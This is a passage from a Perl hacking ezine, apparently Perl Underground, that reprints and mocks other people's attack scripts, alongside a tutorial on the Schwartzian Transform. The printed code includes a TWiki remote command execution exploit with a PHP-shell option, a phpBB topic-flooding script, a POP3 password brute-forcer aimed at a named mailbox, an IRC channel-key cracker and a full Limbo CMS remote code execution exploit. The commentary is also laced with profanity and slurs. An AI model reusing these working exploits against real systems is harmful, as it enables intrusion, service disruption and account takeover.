4841# run_it($_) if $_;
4842 print "\n".$prompt;
4843}
4844
4845close(STDINPUT);
4846close(LOGFILE) if $logfile;
4847}
4848
4849
4850### Print banner and die
4851sub banner {
4852 print "Syntax: ./tweaky.pl --host=<host> [options]\n\n";
4853 print "Proxy options: --proxy=http://proxy:port --proxy_user=foo --proxy_pass=bar\n";
4854 print "Basic auth options: --basic_auth_user=foo --basic_auth_pass=bar\n";
4855 print "Secure HTTP (HTTPS): --secure\n";
4856 print "Path to CGI: --path=$path\n";
4857 print "Method: --get | --post\n";
4858 print "Enable logging: --logfile=/path/to/a/file\n";
4859 print "Create PHPShell: --phpshellpath=/path/to/phpshell\n";
4860
4861 exit(1);
4862}
4863
4864
4865### Execute command via vulnerable CGI
4866sub run_it {
4867 my ($command, $testing_vuln) = @_;
4868 my $req;
4869 my $ua = new LWP::UserAgent;
4870
4871 $ua->agent($useragent);
4872 $ua->timeout($timeout);
4873
4874 # this code looks regular! you stole it from the docs, didn't you?
4875 # come on, ADMIT IT
4876
4877 # Build CGI param and urlencode it
4878 my $search = $pre_string . $command . $post_string;
4879 $search =~ s/(\W)/"%" . unpack("H2", $1)/ge;
4880
4881 # Case GET
4882 if ($get) {
4883 $req = HTTP::Request->new('GET', $url . "?scope=text&order=modified&search=$search");
4884 }
4885
4886 # Case POST
4887 if ($post) {
4888 $req = new HTTP::Request POST => $url;
4889 $req->content_type('application/x-www-form-urlencoded');
4890 $req->content("scope=text&order=modified&search=$search");
4891 }
4892
4893 # Proxy definition
4894 if ($proxy) {
4895 if ($secure) {
4896 # HTTPS request
4897 $ENV{HTTPS_PROXY} = $proxy;
4898 $ENV{HTTPS_PROXY_USERNAME} = $proxy_user;
4899 $ENV{HTTPS_PROXY_PASSWORD} = $proxy_pass;
4900 } else {
4901 # HTTP request
4902 $ua->proxy(['http'] => $proxy);
4903 $req->proxy_authorization_basic($proxy_user, $proxy_pass);
4904 }
4905 }
4906
4907 # Basic Authorization
4908 $req->authorization_basic($basic_auth_user, $basic_auth_pass) if ($basic_auth_user);
4909
4910 # Launch request and parse results
4911 my $res = $ua->request($req);
4912
4913 if ($res->is_success) {
4914 # this block is somewhat decent. did someone else code it for you?
4915
4916 print LOGFILE "\n".$prompt.$command."\n" if ($logfile and !$testing_vuln);
4917 @content = split("\n", $res->content);
4918
4919 my $empty_response = 1;
4920
4921 foreach $_ (@content) {
4922 my ($match) = ($_ =~ /$delim_start(.*)$delim_end/g);
4923 # greedy greedy regex
4924
4925 if ($debug) {
4926 print $_ . "\n";
4927 } else {
4928 if ($match) {
4929 $empty_response = 0;
4930 print $match . "\n" unless ($testing_vuln);
4931 }
4932 }
4933
4934 print LOGFILE $match . "\n" if ($match and $logfile and !$testing_vuln);
4935 }
4936
4937 if ($empty_response) {
4938 if ($testing_vuln) {
4939 die "Sorry, exploit didn't work!\nPerhaps TWiki is patched or
4940you supplied a wrong URL (remember it should point to Twiki's search page).\n";
4941 } else {
4942 print "[Server issued an empty response. Perhaps you entered a wrong command?]\n";
4943 }
4944 }
4945
4946 } else {
4947 die "Couldn't connect to server. Error message follows:\n" . $res->status_line . "\n";
4948 }
4949}
4950
4951# romansoft? what happened to ridiculing real security professionals?
4952
4953-[0x18] # School You: merlyn ---------------------------------------------
4954
4955[suggested title: ``Sorting with the Schwartzian Transform'']
4956
4957It was a rainy April in Oregon over a decade ago when I saw the usenet post made by Hugo Andrade
4958Cartaxeiro on the now defunct comp.lang.perl newsgroup:
4959
4960 I have a (big) string like that:
4961
4962 print $str;
4963 eir 11 9 2 6 3 1 1 81% 63% 13
4964 oos 10 6 4 3 3 0 4 60% 70% 25
4965 hrh 10 6 4 5 1 2 2 60% 70% 15
4966 spp 10 6 4 3 3 1 3 60% 60% 14
4967
4968 and I like to sort it with the last field as the order key. I know
4969 perl has some features to do it, but I can't make 'em work properly.
4970
4971In the middle of the night of that rainy April (well, I can't remember whether it was rainy, but
4972that's a likely bet in Oregon), I replied, rather briefly, with the code snippet:
4973
4974 $str =
4975 join "\n",
4976 map { $_->[0] }
4977 sort { $a->[1] <=> $b->[1] }
4978 map { [$_, (split)[-1]] }
4979 split /\n/,
4980 $str;
4981
4982And even labeled it ``speaking Perl with a Lisp''. As I posted that snippet, I had no idea that
4983this particular construct would be named and taught as part of idiomatic Perl, for I had created
4984the Schwartzian Transform. No, I didn't name it, but in the followup post from fellow Perl author
4985and trainer Tom Christiansen, which began:
4986
4987 Oh for cryin' out loud, Randal! You expect a NEW PERL PROGRAMMER
4988 to make heads or tails of THAT? :-) You're postings JAPHs for
4989 solutions, which isn't going to help a lot. You'll probably
4990 manage to scare these poor people away from the language forever? :-)
4991
4992 BTW, you have a bug.
4993
4994he eventually went on to describe what my code actually did. Oddly enough, the final lines of that
4995post end with:
4996
4997 I'm just submitting a sample chapter for his perusal for inclusion
4998 the mythical Alpaca Book :-)
4999
5000It would be another 8 years before I would finally write that book, making it the only O'Reilly
5001book whose cover animal was known that far in advance.
5002
5003On the next update to the ``sort'' function description in the manpages, Tom added the snippet:
5004
5005 # same thing using a Schwartzian Transform (no temps)
5006 @new = map { $_->[0] }
5007 sort { $b->[1] <=> $a->[1]
5008 ||
5009 $a->[2] cmp $b->[2]
5010 } map { [$_, /=(\d+)/, uc($_)] } @old;
5011
5012Although the lines of code remain in today's perlfunc manpage, the phrase now lives only within
5013perlfaq4. Thus, the phrase became the official description of the technique.
5014
5015So, what is this transform? How did it solve the original problem? And more importantly, what was
5016the bug?
5017
5018Like nearly all Perl syntax, the join, map, sort, and split functions work right-to-left, taking
5019their arguments on the right of the keyword, and producing a result to the left. This linked
5020right-to-left strategy creates a little assembly line, pulling apart the string, working on the
5021parts, and reassembling it to a single string again. Let's look at each of the steps, pulled apart
5022separately, and introduce variables to hold the intermediate values.
5023
5024First, we turn $str into a list of lines (four lines for the original data):
5025
5026 my @lines = split /\n/, $str;
5027
5028The split rips the newlines off the end of the string. One of my students named the delimiter
5029specification as ``the deliminator'' as a way of remembering that, although I think that was by
5030accident.
5031
5032Next, we turn the individual lines into an equal number of arrayrefs:
5033
5034 my @annotated_lines = map { [$_, (split)[-1]] } @lines;
5035
5036There's a lot going on here. The map inserts each element of @lines into $_, then evaluates the
5037expression, which yields a reference to an anonymous array. To make it a bit clearer, let's write
5038that as:
5039
5040 my @annotated_lines = map {
5041 my @result = ($_, (split)[-1]);
5042 \@result;
5043 } @lines;
5044
5045Well, only a bit clearer. We can see that each result consists of two elements: the original line
5046(in $_), and the value of that ugly split-inside-a-literal-slice. The split has no arguments, so
5047we're splitting $_ on whitespace. The resulting list value is then sliced with an index of -1,
5048which means ``take the last element, no matter how long the list is''. So for the first line, we
5049now have an array containing the original line (without the newline) and the number 13. Thus, we're
5050creating @annotated_lines to be roughly:
5051
5052 my @annotated_lines = (
5053 ["eir 11 9 2 6 3 1 1 81% 63% 13", "13"],
5054 ["oos 10 6 4 3 3 0 4 60% 70% 25", "25"],
5055 ["hrh 10 6 4 5 1 2 2 60% 70% 15", "15"],
5056 ["spp 10 6 4 3 3 1 3 60% 60% 14", "14"],
5057 );
5058
5059Notice how we can now quickly get at the ``sort key'' for each line. If we look at
5060$annotated_lines[2][1] (15) and compare it with $annotated_lines[3][1] (14), we see that the third
5061line would sort after the fourth line in the final output. And that's the next step in the
5062transform: we want to shuffle these lines, looking at the second element of each list to decide the
5063sort order:
5064
5065 my @sorted_lines = sort { $a->[1] <=> $b->[1] } @annotated_lines;
5066
5067Inside the sort block, $a and $b stand in for two of the elements of the input list. The result of
5068the sort block determines the before/after ordering of the final list. In our case, $a and $b are
5069both arrayrefs, so we dereference them looking at the second item of the array (our sort key), and
5070then compare then numerically (with the spaceship operator), yielding the appropriate -1 or +1
5071value to put them in ascending numeric order. To get a descending order, I could have swapped the
5072$a and $b variables.
5073
5074As an aside, when the keys are equal, the spaceship operator returns a 0 value, meaning ``I don't
5075care what the order of these lines in the output might be''. For many years, Perl's built-in sort
5076operator was unstable, meaning that a 0 result here would produce an unpredictable ordering of the
5077two lines. Recent versions of Perl introduced a stable sort strategy, meaning that the output lines
5078will be in the same relative ordering as the input for this condition.
5079
5080We now have the sorted lines, but it's not exactly palatable for the original request, because our
5081sorted data is buried within the first element of each sublist of our list. Let's extract those
5082back out, with another map:
5083
5084 my @clean_lines = map { $_->[0] } @sorted_lines;
5085
5086And now we have the lines, sorted by last column. Just one last step to do now, because the
5087original request was to have a single string:
5088
5089 my $result = join "\n", @clean_lines;
5090
5091And this glues the list of lines together, putting newlines between each element. Oops, that's the
5092bug. I really wanted:
5093
5094 $line1 . "\n" . $line2 . "\n" . $line3 . "\n"
5095
5096when in fact what I got was:
5097
5098 $line1 . "\n" . $line2 . "\n" . $line3
5099
5100and it's missing that final newline. What I should have done perhaps was something like:
5101
5102 my @clean_lines_with_newlines = map "$_\n", @clean_lines;
5103 my $result = join "", @clean_lines_with_newlines;
5104
5105Or, since my key-extracting split would have worked even if I had retained the trailing newlines, I
5106could have generated @lines initially with:
5107
5108 my @lines = $str =~ /(.*\n)/g;
5109
5110but that wouldn't have been as left-to-right. To really get it to be left to right, I'd have to
5111resort to a look-behind split pattern:
5112
5113 my @lines = split /(?<=\n)/, $str;
5114
5115But we're now getting far enough into the complex code that I'm distracting even myself as I write
5116this, so let's get back to the main point.
5117
5118In the Schwartzian Transform, the keys are extracted into a readily accessible form (in this case,
5119an additional column), so that the sort block be executed relatively cheaply. Why does that matter?
5120Well, consider an alternative steps to get from @lines to @clean_lines:
5121
5122 my @clean_lines = sort {
5123 my $key_a = (split ' ', $a)[-1];
5124 my $key_b = (split ' ', $b)[-1];
5125 $key_a <=> $key_b;
5126 } @lines;
5127
5128Instead of computing each key all at once and caching the result, we're computing the key as
5129needed. There's no difference functionally, but we pay a penalty of execution time.
5130
5131Consider what happens when sort first needs to know how the line ending in 13 compares with the
5132line ending in 25. These relatively expensive splits are executed for each line, and we get 13 and
513325 in the two local variables, and an appropriate response is returned (the line with 13 sorts
5134before the line with 25). But when the line ending with 13 is then compared with the line ending
5135with 15, we need to re-execute the split to get the 13 value again. Oops.
5136
5137And while it may not make a difference for this small dataset, once we get into the tens or
5138hundreds or thousands of elements in the list, the cost of recomputing these splits rapidly
5139dominates the calculations. Hence, we want to do that once and once only.
5140
5141I hope this helps explain the Schwartzian Transform for you. Until next time, enjoy!
5142
5143-[0x19] # oh noez spiderz ------------------------------------------------
5144
5145#!/usr/bin/perl
5146
5147print q{
5148_________________________________________________________________________
5149>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>|
5150
5151 / \
5152 \ \ ,, / /
5153 '-.`\()/`.-'
5154 .--_'( )'_--.
5155 / /` /`""`\ `\ \ * SpiderZ ForumZ Security *
5156 | | >< | |
5157 \ \ / /
5158 '.__.'
5159
5160
5161=> Exploit phpBB 2.0.19 ( by SpiderZ )
5162=> Topic infinitely exploit
5163=> Sito: www.spiderz.tk
5164
5165_________________________________________________________________________
5166>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>|
5167
5168};
5169
5170# well isn't that just fucking pretty
5171# No good information, just you marking your territory by taking a piss on us
5172# we're right offended, aren't we?
5173
5174use IO::Socket;
5175# this looks lonely. If you have time to write that ascii art you
5176# have time to write a few more use lines, they might help you
5177
5178$x = 0;
5179
5180print q(
5181Exploit phpBB 2.0.19 ( by SpiderZ )
5182
5183);
5184print q(
5185# you know what they say, english is the language of the internet
5186# perhaps it is better for both of us that I can't read that
5187=> Scrivi l'url del sito senza aggiungere http & www
5188=> Url: );
5189$host = <STDIN>;
5190chop ($host);
5191
5192print q(
5193=> Adesso indica in quale cartella e posto il phpbb
5194=> di solito si trova su /phpBB2/ o /forum/
5195=> Cartella: );
5196$pth = <STDIN>;
5197chop ($pth);
5198
5199print q(
5200=> Occhio usa un proxy prima di effettuare l'attacco
5201=> il tuo ip verra spammato sul pannello admin del forum
5202=> Per avviare l'exploit scrivi " hacking "
5203=> );
5204$type = <STDIN>;
5205chop ($type);
5206
5207# most would prefer to have command line options as oppose to
5208# being walked through like that.
5209# regardless, it is chompd (my $type = <STDIN>);
5210
5211if($type == 1){
5212
5213
5214while($x != 0000)
5215{
5216
5217# what the fuck is wrong with you
5218$x++;
5219}
5220
5221
5222}
5223elsif ($type == hacking){
5224
5225
5226while($x != 10000)
5227{
5228
5229$postit =
5230"post=Hacking$x+&username=Exploit&subject=Exploit_phpbb_2.0.19&message=Topic infinitely exploit phpBB 2.0.19";
5231
5232
5233$lrg = length $postit;
5234
5235
5236my $sock = new IO::Socket::INET (
5237 PeerAddr => "$host",
5238# Aren't you glad you had a chance to quote for no reason?
5239 PeerPort => "80",
5240 Proto => "tcp",
5241 );
5242die "\nConnessione non riuscita: $!\n" unless $sock;
5243
5244## Invia Search exploit phpbb by SpiderZ
5245
5246# WE GOT IT THE FIRST TIME, I DON'T WANT TO SEE "SpiderZ" AGAIN
5247
5248print $sock "POST $pth"."posting.php?mode=newtopic&f=1 HTTP/1.1\n";
5249print $sock "Host: $host\n";
5250print $sock "Accept:
5251text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5252\n";
5253print $sock "Referer: $host\n";
5254print $sock "Accept-Language: en-us\n";
5255print $sock "Content-Type: application/x-www-form-urlencoded\n";
5256print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511
5257Firefox/1.0.4\n";
5258print $sock "Content-Length: $lrg\n\n";
5259print $sock "$postit\n";
5260close($sock);
5261
5262# we have modules for that shit
5263
5264
5265syswrite STDOUT, ".";
5266
5267
5268$x++;
5269# use a fucking for loop, you dipshit
5270# don't steal str0ke's trick
5271}
5272}else{
5273
5274
5275 die "
5276Error ! riprova...
5277\n";
5278}
5279
5280# www.spiderz.tk [2006]
5281# DON'T BE PROUD
5282
5283omg lyk teh spyderz r teh skary!@!! run 4 ur lyf lol omg!!11!2
5284
5285dewd u r so eleet koding bomurz 4 php appz. lyk omg i wish i wuz sush a skild hakr lyk u!
5286i want u 2 hav my baybees lol!!! mad propz 4 teh awsum work dat u do! it must hav ben so
5287hard 2 figur owt how 2 do dis awsum hakr stuff! maby sum day i can b lyk u and hak stuf
52882!!! lol spyderz rawr! wet urself!!!1 zomg!
5289
5290Seriously, though; props for the cute, little spider. ASCII art is apparently the height
5291of your technical prowess, you ignorant fuckstick. Your coding skills are sub-par, your
5292site is trash, this has nothing to do with security, and your ego, like that of 99.9997%
5293of all exploit authors, is a few zettabytes too big for my poor, bleeding eyeballs to
5294handle. But really, this isn't an exploit. It's not even clever. It's a half-assed Perl
5295script that floods a half-assed PHP script, subsequently messing up a half-assed forum.
5296It's so half-assed, in fact, that the half-assed administrator(s) of the half-assed
5297forums which you undoubtedly plan on stroking your inconceivably small e-peen over while
5298running your half-assed script could clean up your half-assed "attack" with a single,
5299half-assed SQL command followed by a subsequent ban of your half-assed IP range,
5300YOU HALF-ASSED, MENTALLY DERANGED, POSEUR, SCRIPT KIDDY, COCK SUCKER!
5301
5302Ahem.
5303
5304lol. spyderz. rawr... bitch
5305
5306-[0x1A] # Hello h0no -----------------------------------------------------
5307
5308Just the other day I was reading h0no 3. It's quite the publication. Hours of amusement. Like a
5309good novel, I could go read it again and get much more out of it. Sure, it might have been a bit
5310reminiscent of past h0no writes. Sure, the leet speak might be annoying for 95% (or a similar
5311made-up percentage!) of the people that read it. Sure, h0no can be as self-glorifying as ever.
5312Sure, it is full of old news. But despite the faults, that's one damn fine publication. Action
5313packed. Cheers to the torch carriers!
5314
5315There's one small issue, though. You mention a lot of source. You list a ton of source. But very
5316little is printed. Show us the damn .pl. Show us your .pl, show us everyone's .pl. That could be
5317Perl Underground 4 right there. Can you take the heat, do you have any good perl source code to
5318show for yourselves? Not the shitty stuff, we've covered that before. Can you impress us? I don't
5319care. Release it all. Publicly or privately. Give us the .pl! Free the .pl!
5320
5321Instead we'll shame the horrible source you made fun of people by displaying.
5322
5323#!/usr/bin/perl -w
5324
5325# warnings > -w
5326# use strict
5327
5328use Net::POP3;
5329
5330# setup
5331my $host = "poczta.onet.pl";
5332my $user = "malgosia181";
5333my $dict = "polish";
5334
5335print "mrack.pl by konewka\n";
5336
5337# lame
5338open(WORDLIST, $dict);
5339$pass = <WORDLIST>;
5340# how about you loop that, while (my $pass = <WORDLIST>) {
5341$| = 1;
5342
5343while ($pass ne "") {
5344 $pop3 = Net::POP3->new($host); die "Can't connect !" unless $pop3;
5345 $pass = substr($pass, 0, length($pass)-1);
5346 $cracked = $pop3->login($user, $pass);
5347 if (defined($cracked)) {
5348print "\nCracked ! Password = ".$pass."\n";
5349$pop3->quit();
5350close(WORDLIST);
5351exit 1337;
5352# no, it really isn't
5353 }
5354 else {
5355print ".";
5356 }
5357 $pass = <WORDLIST>;
5358}
5359
5360printf "I guess nothing was cracked this time.\n";
5361# why printf now? Can't be consistent? Confused?
5362
5363
5364#!/usr/bin/perl
5365print "Hello, World!\n";
5366
5367print "ls";
5368
5369^
5370 --- 0H FUq B4TM4N H3 W1LL T4KE 0V3R TH3 W0RLD W1TH C0D3 LIK3 D1S
5371
5372# I think that about covers it.
5373
5374
5375#!/usr/bin/perl -w
5376
5377# Net::IRC is for noobs. Get with the PoCo aMiGo
5378use Net::IRC;
5379use Net::IRC::Event;
5380
5381#open(WL, "/home/uberuser/wordlist") or die "Failed to open
5382#wordlist$!\n";
5383# @keys = <WL>;
5384# chomp(@keys);
5385# close(WL);
5386
5387# I'm glad that is commented out, and you should be too
5388
5389$irc = new Net::IRC;
5390$conn = $irc->newconn(Nick => 'LEECHAXSS',
5391 Server => 'irc.servercentral.net',
5392 Port => 6667,
5393 Username => "iheartu",
5394 Ircname => 'I LOVE CRAXING DOT IN');
5395$chan = "#pokemon";
5396# isn't this all so cute!
5397
5398# difficulties being consistent with your quoting?
5399
5400sub on_connect {
5401 ($self) = shift;
5402$self->join("#seele");
5403$stime = `date +\"%b/%d/%Y %H:%M:%S\"`;
5404# We have Perl shit for that!
5405
5406 foreach $chankey (`cat wordlist`) {
5407# you disgust me
5408 print "TRYING: $chankey\n";
5409 $self->join("$chan", "$chankey");
5410# just wouldn't be complete without quoting variable names.
5411 sleep(2);
5412# and unnecessary parens
5413 }
5414}
5415
5416sub on_names {
5417 $endtime = `date +\"%b/%d/%Y %H:%M:%S\"`;
5418 $self->privmsg("#seele", "uberuser: $chan key: $chankey");
5419 $self->privmsg("uberuser", "$chan key: $chankey");
5420 $self->quit("I LOL'd");
5421 print "START TIME: $stime\nEND TIME: $endtime\n";
5422 print "$chan KEY: $chankey\n";
5423}
5424
5425#$conn->add_handler('msg', \&on_msg);
5426#$conn->add_handler('mode', \&on_mode);
5427$conn->add_global_handler('376', \&on_connect);
5428$conn->add_global_handler(353, \&on_names);
5429$irc->start;
5430# between the Net::IRC crap you manage to fit...crap! Congrats
5431
5432Want more of that h0no? Your vanquished foes ridiculed yet again? FREE THE SRC.
5433
5434-[0x1B] # Killer str0ke --------------------------------------------------
5435
5436Glad to meet you again! Last but not least. The amount of ribbing you get certainly
5437isn't fair. What shall you do?
5438
5439#!/usr/bin/perl
5440##
5441## Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit
5442## Bug Discovered by: Coloss / Epsilon (advance1[at]gmail.com) http://coded.altervista.org/limbophp.pl
5443## /str0ke (milw0rm.com)
5444
5445use LWP::Simple;
5446
5447# Why were you too lazy to create new shitty code, instead of reusing this later?
5448
5449$serv = $ARGV[0];
5450$path = $ARGV[1];
5451$command = $ARGV[2];
5452# my ($serv, $path, $command) = @ARGV;
5453
5454$cmd = "echo start_er;".
5455 "$command;".
5456 "echo end_er";
5457# "echo start_er;$command;echo end_er"
5458# "echo start_er;" . $command . ";echo end_er";
5459# however you choose to do it
5460
5461my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
5462# wow, map AND unpack in a one-liner! you got mad skills!
5463
5464sub usage
5465{
5466 print "Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit /str0ke (milw0rm.com)";
5467 print "Usage: $0 www.example.com /directory/ \"cat config.php\"\n";
5468 print "sever - URL\n";
5469 print "path - path to limbo\n";
5470 print "command - command to execute\n";
5471 exit ();
5472# really, why the parens? some psycho paren addiction you have
5473}
5474
5475sub exploit
5476{
5477 print qq(Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit\n/str0ke (milw0rm.com)\n\n);
5478 $URL = sprintf("http://%s%sindex.php?option=frontpage&Itemid=passthru($byte)",$serv,$path);
5479# sprintf now, are we? direct interpolation just isn't good enough anymore
5480 my $content = get "$URL";
5481# abandoning your paren policy AND using unnecessary quoting
5482 if ($content =~ m/start_er(.*?)end_er/ms) {
5483 my $out = $1;
5484 $out =~ s/^\s+|\s+$//gs;
5485# depending on the circumstances you might want //m as well
5486 if ($out) {
5487 print "$out\n";
5488 }
5489# print "$out\n" if $out;
5490 }
5491}
5492
5493if (@ARGV != 3){&usage;}else{&exploit;}
5494# again with the ugliness
5495# you don't even tab or line break consistently
5496# just like to wrap it up with this shit ending?
5497
5498# Because we didn't see milw0rm the first two times...
5499# milw0rm.com [2006-03-01]
5500
5501Thus did the Lords speaketh of his abominable works, "Your Lords, your Gods, contemplate this work and
5502find themselves, even through their boundless wisdom, intellect, and fortitude, able to contrive naught
5503but reticient bewilderment, credence to the defilement of our image and standards, the architect of said
5504afflictions irrefutably the personification of intellectual ineptitude and masochistic engrossment;
5505inexhaustible beguilement the conclusive rumneration for those imprudent and pertinacious enough to
5506perchance jeopardize their psychological equanimity through compliant subjection to the aforementioned
5507onslaught of incongruity. Remove this heathen from our presence, for he is a blemish upon the face of
5508all Creation."
5509
5510Thus was str0ke cast from his home and stoned before the city gates, damned to an eternity of flame and
5511retribution for his desecrations.
5512
5513Thus did Jesus speaketh of their justice, "Fucking OWNED!"
5514
5515Thus did the Lords speaketh of Jesus' observations, "Word."
5516
5517Thus did the Gods of Perl Underground, the Lords of all creation,
5518layeth the holy smackdown on str0ke's candy ass.
5519
5520-[0x1C] # Shoutz and Outz ------------------------------------------------
5521
5522A big "Thank you" goes out to everyone who has helped make this possible. Specific thanks go out to
5523our three wise men, Jeff Pinyan (??), Mark Jason Dominus, and Randal L. Schwartz, for continually
5524producing irresitable articles. It has been a great ride, these three ezines. Consider this the end
5525of a trilogy. Perl Underground 4 could be a long time away, it could be a small magazine, it could
5526be something very different, it could be more of the same, or it could be nothing at all.
5527Regardless of the ezine status, the members of Perl Underground will hack onward.
5528
5529s^fight^code^g;
5530print;
5531
5532We shall go on to the end, we shall code in France, we shall code on the seas and oceans, we shall
5533code with growing confidence and growing strength in the air, we shall defend our Island, whatever
5534the cost may be, we shall code on the beaches, we shall code on the landing grounds, we shall code
5535in the fields and in the streets, we shall code in the hills; we shall never surrender
5536
5537Please distribute.
5538 ___ _ _ _ _ ___ _
5539| _ | | | | | | | | | | | |
5540| _|_ ___| | | | |___ _| |___ ___| _|___ ___ _ _ ___ _| |
5541| | -_| _| | | | | | . | -_| _| | | _| . | | | | . |
5542|_|___|_| |_| |___|_|_|___|___|_| |___|_| |___|___|_|_|___|
5543
5544Forever Abigail
5545
5546$_ = "\x3C\x3C\x45\x4F\x46\n" and s/<<EOF/<<EOF/ee and print;
5547"Just another Perl Hacker,"
5548EOF
5549
5550# milw0rm.com [2006-10-02]